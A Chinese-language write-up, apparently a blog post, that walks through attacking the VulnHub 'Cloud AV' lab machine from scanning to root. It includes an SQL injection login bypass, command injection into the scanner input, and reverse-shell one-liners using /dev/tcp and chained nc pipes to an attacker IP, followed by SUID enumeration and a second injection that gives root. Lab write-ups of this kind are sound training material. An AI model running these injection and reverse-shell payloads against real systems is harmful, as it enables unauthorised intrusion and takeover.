写在前面

靶机的地址

这是靶机的地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/
小伙伴们可以下载来一起打哦~

靶机描述

这次的靶机是一个难度为低等级的靶机,但是从还原整个渗透过程的角度来看,这个靶机非常全面

以下是整个步骤的具体流程:

  • 端口扫描

  • WEB侦查

  • SQL注入

  • 命令注入

  • 密码爆破

  • 代码审计

  • 本地提权

开始打靶

主机的发现

首先通过arp-scan -l进行靶机的发现

对目标ip的端口和服务的识别

首先是通过nmap -p- IP进行端口的探测

然后通过nmap -p22,8080 IP再对该端口进行服务的识别

这里发现了web服务端语言是python2,可以对此进行记录

web端的服务探测

访问ip:8080

这是一个登录界面,需要我们输入密码进入后台

我所了解的登录界面的绕过:

  1. 弱密码
  2. sql注入
  3. 万能密码
  4. 逻辑绕过(response->200)
  5. xss打cookie(不会)

这里首先我乱输入了几个字符进行尝试,发现报错

然后尝试试一下弱密码绕过,抓包发送到burp的爆破模块进行爆破弱密码

发现密码为password这个弱密码

其实到这里也可以尝试一下万能密码的绕过,发现也是可以的

通过sql报错发现是"进行闭合的,所以直接"or 1=1--+"进行绕过进入后台

后台的界面是一个类似于云扫描的界面

当我输入hello的时候发现他通过了对我输入的字符进行扫描,绕后进行反馈

看到这里就猜测一下后端是怎么写的

应该是类似于webscan filename,其中的filename为我们输入的文件

那我现在尝试一下命令注入会不会成功了?

在linux中,;可以用来分割执行多条命令

当我输入hello;ls

发现成功的回显了ls所执行的命令的内容

这时候就可以尝试反弹shell

本地nc开启监听3333端口

1
2
3
4
5
6
7
8
hello;echo "/bin/bash >& /dev/tcp/192.168.1.156/3333 0>&1"|bash

#在尝试后发现服务器存在nc,但是不存在-e参数,所以这里使用学到的nc串连方法

# | 管道符的作用是把管道符前面的输出当作管道符后面的输入
hello;nc 192.168.1.156 3333 | /bin/bash | nc 192.168.1.156 4444
# 就是把3333端口输入的命令的结果通过4444端口反馈回来

通过nc串联

内网的信息搜集和提权

查看一下id看看自己什么权限

只是一个普通用户的权限

继续进行信息搜集

看看app.py有什么了cat app.py

看到这里也验证了我们刚刚的猜测后台的语句

查看了一下database.sql文件,发现里面有几个用户密码

这里可以把这些密码当作ssh的密码进行爆破结合帐号

因为没有成功这里就没截图了

然后继续的信息搜集,也没搜集到什么有用的信息了

就想着提权

  1. 内核提权
  2. SUID提权

很遗憾没有找到这个版本的提权漏洞

目前也就只有尝试下一步SUID提权

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

这里发现了这个可疑的update_cloudav文件

发现该目录下存在它的.c源文件,尝试去cat一下

这里也是通过了变量的拼接,然后system进行命令的执行

于是这里又可以利用命令的注入进行尝试

直接进行反弹shell的绕过

最后通过反弹shell成功的拿到了root权限